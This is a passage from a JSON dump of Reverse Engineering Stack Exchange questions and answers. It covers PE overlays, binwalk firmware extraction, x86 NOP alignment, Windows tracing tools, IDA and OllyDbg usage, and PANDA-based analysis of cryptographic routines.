        "Answer": "<p>Most compiled code, these days, is C, C++, or possibly Delphi. These languages lack high-level support for some of your instructions, so there is no reason for them to generate them.</p>\n\n<p>If C had an operation to determine the parity of a number, the compiler would probably generate a <code>JP</code> instruction for it. But C doesn't have this operation, and since the only reason for it (that i can think of) is serial communications, and serial chips have done parity checking in hardware since at least the 80s, there wasn't ever reason to introduce an extension for it.</p>\n\n<p>(There are actually bit operations that are useful in certain scenarios, have processor operations to do them, and are supported by compilers. See <a href=\"http://en.wikipedia.org/wiki/Find_first_set\" rel=\"nofollow\">http://en.wikipedia.org/wiki/Find_first_set</a>.)</p>\n\n<p>Likewise, C doesn't have overflow checking. If a given compiler had a --warn-on-overflow flag, it might be implemented using <code>JC</code>, however.</p>\n\n<p>Your other two instructions are just variations of the \"compare two numbers\" topic. <code>JG</code> is a \"reversed\" <code>JLE</code>, <code>JS</code> is a version of <code>JL</code> after comparing to 0. For the compiler, it's more efficient to \"normalize\" comparisons first, then run the optimizer over the normalized comparison, then emit machine code, than maintaining different, but similar, optimizations. \"Greater than\" is the same as \"Not less or equal\"; \"Less than\" is the same as \"not greater or equal\". I've seen <code>gcc</code> produce the latter (<code>JLE</code> and <code>JGE</code>) but not the former (<code>JL</code> and <code>JG</code>). And since <code>JS</code> is just a special case of these, there's not much reason for a compiler to use it.</p>\n"
    },
    {
        "Id": "8013",
        "CreationDate": "2015-01-14T00:15:29.273",
        "Body": "<p>I'm trying to change the icon of a .exe file, normally a simple task but this .exe file is a installer and for some reason when after I change or remove the icon, the exe shrinks in size from 300 mb to 12 kb and crashes when it runs.</p>\n\n<p>I've tried using Resource Hacker to either replace the icon or remove it but when I try to save it, the result ends up as a tiny file which crashes when it runs. I also tried using IconChanger 3.8 and the same thing happened. I cannot change any resources on the file using Resource Hacker. If I attempt to modify version info, description, anything, it will save as a tiny 12 kb file.</p>\n\n<p>Is there some kind of protection against changing resources that I don't know about? What can I do in this situation? Any other methods that might work for changing an icon or removing its icon in this situation?</p>\n",
        "Title": "Can't change the icon of a .exe file. Seems to be protected?",
        "Tags": "|executable|software-security|",
        "Answer": "<p>Such a problem is common with executables having overlay.</p>\n\n<p>An overlay is extra data appended at the end of a <code>PE</code>. The overlay is located at the end of the sections. When a <code>PE</code> is loaded the overlay is <strong>not</strong> mapped into the memory of the process. </p>\n\n<p>An overlay is common with installers, self extracting archives etc. In order to extract the overlay, you can use any decent PE editor such as <em><a href=\"http://exeinfo.atwebpages.com/\" rel=\"nofollow noreferrer\">exeinfope</a></em>, <em><a href=\"http://ntinfo.biz/\" rel=\"nofollow noreferrer\">Detect It Easy</a></em> or like <a href=\"https://reverseengineering.stackexchange.com/questions/2014/how-can-one-extract-the-appended-data-of-a-portable-executable\">this</a> way.</p>\n\n<p>Hence for your problem, I would suggest to dump the overlay, make required modifications on the PE, and finally re-append back the dumped overlay to the end of the executable. <br>For the last step you can use a Hex Editor or the <a href=\"http://support.microsoft.com/kb/71161\" rel=\"nofollow noreferrer\">MS-DOS COPY command</a>.</p>\n"
    },
    {
        "Id": "8028",
        "CreationDate": "2015-01-16T02:51:05.293",
        "Body": "<p>i'm tried to gather information of firmware and extract the contain with binwalk on kali , when i scanned rom.bin , i have as result many lines 1-> most of lines are LZMA data compressed , but when i extract this data i can't open it. 2-> last line \"Mcrypte 2.2 , blofish crypted\"</p>\n\n<p>can some help me , what can i do to extract data correctly</p>\n\n<p>here the firmware\n<a href=\"http://wikisend.com/download/396604/rom.bin\" rel=\"nofollow\">http://wikisend.com/download/396604/rom.bin</a> <a href=\"http://wikisend.com/download/194102/ChannelList.bin\" rel=\"nofollow\">http://wikisend.com/download/194102/ChannelList.bin</a></p>\n\n<p>thank you</p>\n",
        "Title": "Binwalk and firmware of a sat receiver",
        "Tags": "|firmware|",
        "Answer": "<p>It's probably obfuscated:\n<a href=\"http://www.devttys0.com/2014/02/reversing-the-wrt120n-firmware-obfuscation/\" rel=\"nofollow\">read more about an obfuscated firmware from WRT120N</a></p>\n\n<p>I think that you should do hardware analysis in order to know how the firmware is unpacked...</p>\n"
    },
    {
        "Id": "8029",
        "CreationDate": "2015-01-16T06:53:20.547",
        "Body": "<p>I'm trying to decrypt some audio files. At first I thought that they were encrypted using Blowfish, but apparently \"SHA + Mersenne Twister used for generate key and decrypt\". What exactly does this mean? I know that SHA is a hashing algorithm and that Mersenne Twister is a PRNG but I don't really know what that statement means or what to do.</p>\n\n<p>If someone could shed even a little bit of light on what this might mean that would be helpful.</p>\n",
        "Title": "SHA + Mersenne Twister",
        "Tags": "|encryption|hash-functions|",
        "Answer": "<p>It looks like someone has written code to decrypt these files.</p>\n\n<p>You can see the details of the implementation here: <a href=\"https://github.com/magcius/bbtucrypt/\" rel=\"nofollow\">bbtucrypt</a></p>\n"
    },
    {
        "Id": "8030",
        "CreationDate": "2015-01-16T13:34:31.367",
        "Body": "<p>There are a lot of</p>\n\n<pre><code>... code ...\ncall sub_...\nnop\n... code ...\n</code></pre>\n\n<p>patterns in an executable dump I am working on. They appear in the middle of subroutines and I believe don't serve alignment purposes. I am curious about the origins of this construct.</p>\n\n<p>The program was packed, so I am not sure if call-nop pair was there initially or appeared after unpacking.</p>\n",
        "Title": "Purpose of NOP immediately after CALL instruction",
        "Tags": "|x86-64|",
        "Answer": "<p>It is likely that the first instruction <em>after</em> the NOP is the target of a different branch/jump somewhere else. Jumping to aligned targets is normally preferable both for better i-cache utilization and for better BTB predictions:</p>\n\n<blockquote>\n  <p><strong>11.5 Alignment of code</strong></p>\n  \n  <p>Most microprocessors fetch code in aligned 16-byte or 32-byte blocks. </p>\n  \n  <p>If an important subroutine entry or jump\n  label happens to be near the end of a 16-byte block then the\n  microprocessor will only get a few useful bytes of code when fetching\n  that block of code. It may have to fetch the next 16 bytes too before\n  it can decode the first instructions after the label. This can be\n  avoided by aligning important subroutine entries and loop entries by\n  16. </p>\n  \n  <p>Aligning by 8 will assure that at least 8 bytes of code can be loaded with the first instruction fetch, which may be sufficient if\n  the instructions are small. </p>\n  \n  <p>We may align subroutine entries by the\n  cache line size (typically 64 bytes) if the subroutine is part of a\n  critical hot spot and the preceding code is unlikely to be executed in\n  the same context.</p>\n</blockquote>\n\n<p><a href=\"http://agner.org/optimize/optimizing_assembly.pdf#page=86\" rel=\"nofollow noreferrer\">http://agner.org/optimize/optimizing_assembly.pdf#page=86</a></p>\n\n<p>This would make that NOP just a padding to align the following instructions. As pointed out elsewhere, adding padding for this must be done carefully because adding padding blindly is likely to lead to <em>worse</em> i-cache usage and therefore a decrease in performance. Always measure.</p>\n\n<hr>\n\n<p>note: in other architectures (i.e. not x86/x86-64) NOPs after calls are sometimes required; since the question is about x86-64 this shouldn't apply.</p>\n"
    },
    {
        "Id": "8034",
        "CreationDate": "2015-01-16T20:44:52.900",
        "Body": "<p>What is the best tool to trace system resources a program is touching. For example, which registry keys, other files or DLLs it's loading, internet connections it's opening, etc...?</p>\n\n<p>I saw this question on reddit.com/r/ReverseEngineering and the mod had said it would be an excellent question for SE. After searching, I can't find a similar question asked.</p>\n\n<p>So, what tool do you use/recommend for tracing system resources a program touches in the context of Windows 7/8?</p>\n",
        "Title": "What tools are available to trace system resources a program is touching in windows?",
        "Tags": "|windows|",
        "Answer": "<blockquote>\n  <p><strong><a href=\"http://technet.microsoft.com/en-us/sysinternals/bb896645.aspx\" rel=\"noreferrer\">Process Monitor</a></strong>\n  <br>Process Monitor is an advanced monitoring tool for Windows that shows real-time file system, Registry and process/thread activity.</p>\n</blockquote>\n\n<p><p></p>\n\n<blockquote>\n  <p><strong><a href=\"http://msdn.microsoft.com/en-us/library/windows/hardware/hh162945.aspx\" rel=\"noreferrer\">Windows Performance Toolkit</a></strong>\n  <br>The Windows Performance Toolkit (WPT, or xperf) is a free toolset from Microsoft that lets you see everything happening on your system in order to investigate otherwise invisible performance problems in your game. WPT can show Disk IO, registry access, GPU packets, page faults, context switches, kernel activity, and even has a sampling profiler, all integrated into one visualizer.</p>\n</blockquote>\n\n<p><p></p>\n\n<blockquote>\n  <p><strong><a href=\"http://www.rohitab.com/apimonitor\" rel=\"noreferrer\">API Monitor</a></strong>\n  <br>API Monitor is a free software that lets you monitor and control API calls made by applications and services. Its a powerful tool for seeing how applications and services work or for tracking down problems that you have in your own applications.</p>\n</blockquote>\n\n<p><p></p>\n\n<blockquote>\n  <p><strong><a href=\"http://www.nektra.com/products/spystudio-api-monitor/\" rel=\"noreferrer\">SpyStudio</a></strong> \n  <br>SpyStudio shows and interprets calls, displaying the results in a structured way which is easy for any IT professional to understand. SpyStudio can show registry keys and files that an application uses, COM objects and Windows the application has created, and errors and exceptions</p>\n</blockquote>\n"
    },
    {
        "Id": "8037",
        "CreationDate": "2015-01-16T23:33:46.270",
        "Body": "<p>Cracked the game with clutch and set watchpoint on the value address, when the value changes it breaks just fine but when i go to that binary address in IDA it shows me different instruction, here's some Pic's for more explanation:</p>\n\n<p><img src=\"https://i.stack.imgur.com/YPwxA.png\" alt=\"Image1\">\n<img src=\"https://i.stack.imgur.com/ajLUq.png\" alt=\"Image2\">\n<img src=\"https://i.stack.imgur.com/csxSD.png\" alt=\"Image3\"></p>\n\n<p>I have tried disabling ASLR but nothing changed.</p>\n",
        "Title": "Reversing iOS games with LLDB and IDA on arm64",
        "Tags": "|ida|ios|lldb|",
        "Answer": "<p>This might be stupid, but you say you are debugging the ARM64 binary, and yet in IDA Pro it says you are disassembling the ARMv7 binary. So you are disassembling the incorrect binary in IDA Pro.</p>\n\n<p>To fix this, open the binary in 64 bit version of IDA Pro. It will automatically disassemble the 64 bit binary.</p>\n"
    },
    {
        "Id": "8050",
        "CreationDate": "2015-01-19T10:45:41.717",
        "Body": "<p>This is a very silly question, but surprisingly I've had a problem with this today.\nIn a hex editor, I've found an offset and I wanted to take a look at that code in a disassembler. In the hex-editor, the offset is EBE75, and it looks like this:</p>\n\n<p><img src=\"https://i.stack.imgur.com/QmuKd.png\" alt=\"enter image description here\"></p>\n\n<p>Obviously a CALL, I wanted to find it in IDA/Olly and take a look. This is, however, where I wasn't sure how to translate that to an offset that IDA/Olly could understand. Do I add the imagebase, or maybe the offset of the .text section? I've managed to find the code using IDA's hexscan, and it's located at address <code>004ECA75</code>:</p>\n\n<p><img src=\"https://i.stack.imgur.com/flPcg.png\" alt=\"enter image description here\"></p>\n\n<p>The difference between these addresses is <code>4ECA75 - EBE75 = 400C00</code>. This is quite surprising to me, where did that number come from? How is this related to the .exe's layout?</p>\n",
        "Title": "\"Raw\" offsets to \"disassembler\" offsets?",
        "Tags": "|hex|offset|",
        "Answer": "<p><strong>ollydbg 1.10</strong> </p>\n\n<p>if you have </p>\n\n<ol>\n<li>the binary loaded in ollydbg</li>\n<li>disasm window is in the correct module</li>\n<li><p>the binary is also open in hexeditor    </p>\n\n<p><strong>Right Click -> View -> Executable File</strong></p></li>\n</ol>\n\n<p>In the New Window do <code>ctrl+g</code> and enter the offset you saw in hexeditor <code>ebe75</code></p>\n\n<pre><code>right click in new window -&gt; follow in disassembler\n</code></pre>\n\n<p>in hexeditor 0x1529 has the 0xe8 opcode</p>\n\n<pre><code>xxd -s 0x1520 -l 0x10 -g 1 c:\\WINDOWS\\system32\\calc.exe\n0001520: ff d6 6a 01 a3 4c 4d 01 01 e8 e9 f8 ff ff 6a 69  ..j..LM.......ji\n</code></pre>\n\n<p><strong>in ollydbg after rightclick-> view -> executable file and ctrl+g 1520 in new window</strong></p>\n\n<pre><code>00001520    FFD6            CALL    NEAR ESI\n00001522    6A 01           PUSH    1\n00001524    A3 4C4D0101     MOV     DWORD PTR DS:[1014D4C], EAX\n00001529    E8 E9F8FFFF     CALL    00000E17\n0000152E    6A 69           PUSH    69\n</code></pre>\n\n<p><strong>in new window rightclick -> view image in disassembler</strong> </p>\n\n<pre><code>01002120  |.  FFD6                   CALL    NEAR ESI                         ; \\GetProfileIntW\n01002122  |.  6A 01                  PUSH    1                                ; /Arg1 = 00000001\n01002124  |.  A3 4C4D0101            MOV     DWORD PTR DS:[gbUseSep], EAX     ; |\n01002129  |.  E8 E9F8FFFF            CALL    InitSciCalc                      ; \\InitSciCalc\n0100212E  |.  6A 69                  PUSH    69                               ; /TableName = 69\n</code></pre>\n"
    },
    {
        "Id": "8051",
        "CreationDate": "2015-01-19T12:42:04.713",
        "Body": "<p>I'm debugging an IDAPython script on my host machine and I have IDA running on my Windows VM. The folder containing the IDAPython script on the host machine is shared with the VM.</p>\n\n<p>The first time I run the IDAPython script in IDA it works fine. However, for subsequent runs a cached version of the script seems to be running. I end up having to close and re-start IDA in order for the changes to get loaded up. Is there an easier way? I run scripts as <code>File &gt; Open Script file.</code></p>\n",
        "Title": "IDAPython script does not reload",
        "Tags": "|ida|idapython|",
        "Answer": "<p>You can use <code>idaapi.require(&quot;module_name&quot;)</code> to reload the script.\nThere is more information about it in the HexBlog article, <a href=\"https://hex-rays.com/blog/loading-your-own-modules-from-your-idapython-scripts-with-idaapi-require/\" rel=\"nofollow noreferrer\"><em>Loading your own modules from your IDAPython scripts with idaapi.require()</em></a>.</p>\n"
    },
    {
        "Id": "8058",
        "CreationDate": "2015-01-19T19:57:49.493",
        "Body": "<p>In advance, I'd say I'm learning reverse engineering newly.\nIndeed, there are some questions to be asked.</p>\n\n<p>First of all I would ask : In assembly level of the applications which use GUI ,how things like forms,buttons,etc are represented ? For example, when we can find out a button is clicked and things like that ? In all languages which support GUI they use same API for buttons or forms or ... ?</p>\n\n<p>And there's an another question in the other side of reversing(from Export tables addresses):\nConsider the example of a program which has two export address (for example start and a debug checker) which they're declared as public in the disassembled approach, so how we can figure out which one would be executed at first ?</p>\n\n<p>Thanks all.  </p>\n",
        "Title": "GUI represention in assembly level and another question",
        "Tags": "|ida|disassembly|debugging|winapi|",
        "Answer": "<p>welcome to the Reverse Engineering SE!</p>\n\n<p>Unfortunately, your question isn't written very well. You shouldn't try to put two different questions into one, because that makes it more difficult to give a good answer.</p>\n\n<p>Also, both parts of your question should probably go better to stackoverflow, as both of them are more about software development than about reverse engineering.</p>\n\n<p>As a rule of thumb, you can't reverse anything that you can't build.</p>\n\n<p>You should get acquainted with various GUI frameworks - plain Windows, <code>MFC</code>, <code>.net</code>, <code>delphi</code>. <code>java swing</code>, <code>gtk</code>, <code>qt</code>, <code>wxwidgets</code>) to find out how they work, which differences there are, and which things they have in common. Then, you'll probably be able to identify which framework a program you're trying to reverse uses, and you'll be able to identify the patterns how they are used. But unless you've written a few programs in at least some of them, you wouldn't even understand other programs if you had their source code, much less if you have the binaries. So get some experience there first.</p>\n\n<p>Also, import and export addresses aren't about where the program starts; they're about putting .dll libraries and the program together before it's being executed. You should learn about dynamic linking and creating DLLs before trying to reverse them. The program entry point is defined in the headers of the program, and it doesn't have anything to do with exports and imports.</p>\n"
    },
    {
        "Id": "8063",
        "CreationDate": "2015-01-20T15:17:12.570",
        "Body": "<p>I have a firmware image that is used for flashing a BMW NBT navigation system that I want to research. I did a binwalk on the file (dump below).</p>\n\n<p>I want to extract the individual files, especially the ELF files and the LZMA compressed files. Can this be done with objcopy and dd ?</p>\n\n<p>A small example would be great.</p>\n\n<pre><code>DECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n114           0x72            XML document, version: \"1.0\"\n8840          0x2288          ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n52909         0xCEAD          eCos RTOS string reference: \"ECOScheme COP1 V1.6\"\n53692         0xD1BC          eCos RTOS string reference: \"ECOScheme COP1 V1.6\"\n58157         0xE32D          ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n64383         0xFB7F          eCos RTOS string reference: \"ECOScheme COP1 V1.6\"\n65035         0xFE0B          eCos RTOS string reference: \"ECOScheme COP1 V1.6\"\n65611         0x1004B         eCos RTOS string reference: \"ECOScheme COP1 V1.6\"\n66263         0x102D7         eCos RTOS string reference: \"ECOScheme COP1 V1.6\"\n68264         0x10AA8         ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV)\n105904        0x19DB0         LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, missing uncompressed size\n254206        0x3E0FE         ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV)\n1672272       0x198450        eCos RTOS string reference: \"ECOScheme COP1 V1.6\"\n1865538       0x1C7742        LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, missing uncompressed size\n1873098       0x1C94CA        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n1884709       0x1CC225        LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, missing uncompressed size\n1884817       0x1CC291        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n1895380       0x1CEBD4        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n1976563       0x1E28F3        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n1994774       0x1E7016        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n2067424       0x1F8BE0        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n2109540       0x203064        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n2190676       0x216D54        LZMA compressed data, properties: 0x5E, dictionary size: 16777216 bytes, uncompressed size: 100663296 bytes\n2191505       0x217091        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n2322380       0x236FCC        LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, missing uncompressed size\n2322488       0x237038        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n2325714       0x237CD2        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n2341002       0x23B88A        LZMA compressed data, properties: 0x64, dictionary size: 16777216 bytes, uncompressed size: 100663296 bytes\n2341757       0x23BB7D        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n2416921       0x24E119        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n2420792       0x24F038        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n2497195       0x261AAB        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n2668975       0x28B9AF        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n2769589       0x2A42B5        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n2848565       0x2B7735        LZMA compressed data, properties: 0x5E, dictionary size: 16777216 bytes, uncompressed size: 50331648 bytes\n2849037       0x2B790D        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n3035059       0x2E4FB3        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n3064068       0x2EC104        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n3109994       0x2F746A        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n3138482       0x2FE3B2        LZMA compressed data, properties: 0x5E, dictionary size: 16777216 bytes, uncompressed size: 100663296 bytes\n3139318       0x2FE6F6        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n3351394       0x332362        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n3383710       0x33A19E        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n3388738       0x33B542        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n3488674       0x353BA2        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n3537093       0x35F8C5        LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, missing uncompressed size\n3537201       0x35F931        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n3551343       0x36306F        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n3557569       0x3648C1        eCos RTOS string reference: \"ECOScheme COP1 V1.6\"\n3558221       0x364B4D        eCos RTOS string reference: \"ECOScheme COP1 V1.6\"\n3558797       0x364D8D        eCos RTOS string reference: \"ECOScheme COP1 V1.6\"\n3559449       0x365019        eCos RTOS string reference: \"ECOScheme COP1 V1.6\"\n3561455       0x3657EF        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n4111948       0x3EBE4C        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n4313272       0x41D0B8        eCos RTOS string reference: \"ECOScheme\"\n4571691       0x45C22B        LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, missing uncompressed size\n4571799       0x45C297        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n4574094       0x45CB8E        mcrypt 2.2 encrypted data, algorithm: blowfish-448, mode: CBC, keymode: 8bit\n4653693       0x47027D        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n4671701       0x4748D5        LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, missing uncompressed size\n6264853       0x5F9815        LZMA compressed data, properties: 0x90, dictionary size: 16777216 bytes, uncompressed size: 9995975 bytes\n6655733       0x658EF5        LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, missing uncompressed size\n6656288       0x659120        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n6663431       0x65AD07        mcrypt 2.2 encrypted data, algorithm: blowfish-448, mode: CBC, keymode: 8bit\n6985016       0x6A9538        LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, uncompressed size: 50331648 bytes\n6985572       0x6A9764        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n7350538       0x70290A        LZMA compressed data, properties: 0xD8, dictionary size: 16777216 bytes, uncompressed size: 203703495 bytes\n7436659       0x717973        Copyright string: \" 1995-2005 Jean-loup Gailly valid block type\"\n7441843       0x718DB3        Copyright string: \" 1995-2005 Mark Adler \"\n7475248       0x721030        LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, uncompressed size: 50331648 bytes\n7475807       0x72125F        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n7489707       0x7248AB        LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, missing uncompressed size\n7490222       0x724AAE        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n8328766       0x7F163E        LZMA compressed data, properties: 0xC7, dictionary size: 4194304 bytes, uncompressed size: 272680704 bytes\n9051574       0x8A1DB6        Ubiquiti partition header, header size: 56 bytes, name: \"ICLE\", base address: 0x00000000, data size: 0 bytes\n9298202       0x8DE11A        LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, missing uncompressed size\n9298762       0x8DE34A        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n9307694       0x8E062E        LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, missing uncompressed size\n9308222       0x8E083E        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n9335661       0x8E736D        Copyright string: \" 1995-2005 Mark Adler \"\n9338719       0x8E7F5F        LZMA compressed data, properties: 0x5D, dictionary size: 262144 bytes, missing uncompressed size\n9339847       0x8E83C7        LZMA compressed data, properties: 0x5D, dictionary size: 524288 bytes, missing uncompressed size\n9339990       0x8E8456        LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, missing uncompressed size\n9340503       0x8E8657        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n9921653       0x976475        eCos RTOS string reference: \"ECOScheme Version. COP1 (Version 1.6 or greater) supported.\"\n9924189       0x976E5D        eCos RTOS string reference: \"ECOScheme Version. Version 1.6 or greater supported.\"\n9974124       0x98316C        LZMA compressed data, properties: 0x64, dictionary size: 16777216 bytes, uncompressed size: 10835 bytes\n10064980      0x999454        ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV)\n10079707      0x99CDDB        mcrypt 2.2 encrypted data, algorithm: blowfish-448, mode: CBC, keymode: 8bit\n10171624      0x9B34E8        eCos RTOS string reference: \"eCost\"\n11268739      0xABF283        LZMA compressed data, properties: 0xC7, dictionary size: 4194304 bytes, uncompressed size: 272680704 bytes\n11269511      0xABF587        LZMA compressed data, properties: 0xC7, dictionary size: 4194304 bytes, uncompressed size: 272680704 bytes\n12395860      0xBD2554        XML document, version: \"1.0\"\n12747285      0xC28215        Copyright string: \" (C) 2010. Hitachi ULSI Systems Co.,Ltd. Co.,Ltd.\"\n12747445      0xC282B5        Copyright string: \" (C) 2009. Hitachi ULSI Systems Co.,Ltd. Co.,Ltd.\"\n12758672      0xC2AE90        LZMA compressed data, properties: 0x5D, dictionary size: 16777216 bytes, missing uncompressed size\n</code></pre>\n",
        "Title": "Extract files from a bin firmware",
        "Tags": "|binary-analysis|embedded|",
        "Answer": "<p>You can use the -D option to dd out sections based on signature.</p>\n\n<p>For example, to extract out the ELF parts, do:</p>\n\n<pre><code>binwalk -D \"elf 32-bit lsb shared object\":.so image.bin\n</code></pre>\n\n<p>Note the lowercase signature string.</p>\n\n<p>You can specify more than one instance of -D.</p>\n\n<p>See the binwalk wiki for more details:\n<a href=\"https://github.com/devttys0/binwalk/wiki\">https://github.com/devttys0/binwalk/wiki</a></p>\n"
    },
    {
        "Id": "8068",
        "CreationDate": "2015-01-20T20:26:30.417",
        "Body": "<p>Everyone knows the state of IDA's documentation... There is a bit of info in idc.idc and the SDK headers, there's Chris Eagle's book (which predates quite a few advances in IDA), and there's the occasional juicy tidbit in the blogs of Ilfak, Igorsk, Daniele and the others.</p>\n\n<p>But by and large there's mostly Google, reversing IDA.WLL, and copious experimentation. Which means that it's often much slower going than we would like, and quite often things require a lot more effort than necessary because we're unaware of some trick, twist or workaround that somebody else has already discovered. </p>\n\n<p>The perfect solution would be a community wiki. <strong>So, is there a wiki for all things IDA?</strong> </p>\n\n<p>If so then all serious spelunkers needs to know about it: it ought to be linked from here, from IDA's home site and major RCE gathering places...</p>\n\n<p>If there's no wiki yet then we ought to do something about it (like badgering Ilfak).</p>\n",
        "Title": "A wiki for IDA?",
        "Tags": "|ida|idapython|idapro-sdk|",
        "Answer": "<p>I just created <a href=\"http://ida-pro.wikia.com\">a <code>wikia</code> for IDA Pro</a>.</p>\n\n<p>Do add your contributions there! :)</p>\n\n<p>I'll also be adding some info every now and then.\nIt is a community wiki, so please do no evil! =P</p>\n"
    },
    {
        "Id": "8069",
        "CreationDate": "2015-01-20T20:42:22.757",
        "Body": "<p>Let us suppose that I have a program that perform some well known cryptographic routines like AES, RSA or whatever. I would like to detect when such algorithms run, on which key material and possibly on which input and output data streams.</p>\n\n<p>The idea is to run the whole program inside a virtual machine and then instrument the virtual machine itself to study the behavior of the program. For example, I might implement heuristics to check whether AES S-box is computed (when you see certain bytes and some clock cycles later the corresponding bytes in S-box show up in some register, then you might have a clue that S-box is being run). Tracing down how those bytes were moved across memory before might lead me to where the encryption key is stored.</p>\n\n<p>The point of doing all of this in a virtual machine is that I can make up the environment so that the program is unable to detect that I am trying to spy on him. This way I would like to avoid all the mess with protectors and whatever and just see how it behaves.</p>\n\n<p>Are there already attempts at reverse engineering programs in a similar way? By \"similar way\" I mean running the program in a virtual machine and looking how it moves data around the memory and on the registers, in order to find patterns that may help me to track down the information I am seeking.</p>\n\n<p>In case it helps, the architecture I would like to use is x86 and the practical program is the one that I described above: interception of known cryptography procedure.</p>\n",
        "Title": "Detect specific algorithms running in a virtual machine via behavior analysis",
        "Tags": "|x86|virtual-machines|",
        "Answer": "<p>As Guntram mentioned, the <a href=\"https://github.com/moyix/panda\" rel=\"nofollow\">PANDA project</a> is built to make this kind of thing possible. Essentially, it adds instrumentation points to QEMU so that you can build plugins that perform analysis on a whole system as it executes.</p>\n\n<p>One challenge is that the kinds of analyses you want to do are extremely computationally intensive, to the point where it's not really feasible to perform them while the system is actually running. To solve this in PANDA, we have <em>record and replay</em>. Essentially, this lets you make a recording of a whole-system execution and then replay it later with instrumentation enabled. Recording itself incurs only a small overhead, and arbitrarily expensive analyses can then be performed on the replay without altering the execution. This basic idea is explained in more detail in a paper by Chow et al., <a href=\"http://cs.stanford.edu/people/jchow/papers/decoupled-usenix2008.pdf\" rel=\"nofollow\">Decoupling dynamic program analysis from execution in virtual environments</a>.</p>\n\n<p>Currently we have two papers that are relevant to the kind of RE you're looking at:</p>\n\n<ul>\n<li><a href=\"http://www.cc.gatech.edu/~brendan/tzb_author.pdf\" rel=\"nofollow\">Tappan Zee (North) Bridge</a>: This is probably closest to the kind of thing you're talking about. Essentially, it involves tracking every memory access in the system and then splitting them up according to address space, program counter, and calling context. The resulting streams of data can then be mined for interesting artifacts (encryption keys, URLs, etc.), which tells you where various algorithms and functionality are located in the system.</li>\n<li><a href=\"https://mice.cs.columbia.edu/getTechreport.php?techreportID=1588&amp;disposition=inline&amp;format=pdf\" rel=\"nofollow\">Repeatable Reverse Engineering for the Greater Good with PANDA</a>: This is a more general look at using PANDA for reverse engineering, with three case studies: creating a keygen for Starcraft, diagnosing a use-after-free bug in Internet Explorer, and extracting the censorship blacklist used by the LINE IM client on Android.</li>\n</ul>\n\n<p>A <em>drawback</em> of PANDA is that it does not, strictly speaking, use virtualization. Instead, it uses QEMU in TCG (i.e., emulation) mode. This makes it more detectable, since there are a number of bugs in QEMU's CPU emulation that are not present when using hardware virtualization. However, unless the program you're analyzing explicitly tries to detect QEMU, this is unlikely to be a problem.</p>\n"
    },
    {
        "Id": "8078",
        "CreationDate": "2015-01-22T17:17:23.257",
        "Body": "<p>I usually work with two or three IDBs open at the same time which are linked between themselves (basically the main .exe, and DLLs it loads).</p>\n\n<p>However, every now and then I open different files to take a look, and my \"recently used IDBs\" quickly gets filled up and the IDBs I work with disappear.</p>\n\n<p>Is there any way I can make IDA stick those IDBs at the top of the \"recently opened files\" so I can access them easily?</p>\n",
        "Title": "Is there any way to make IDA permanently save recently used files in a list?",
        "Tags": "|ida|ida-plugin|",
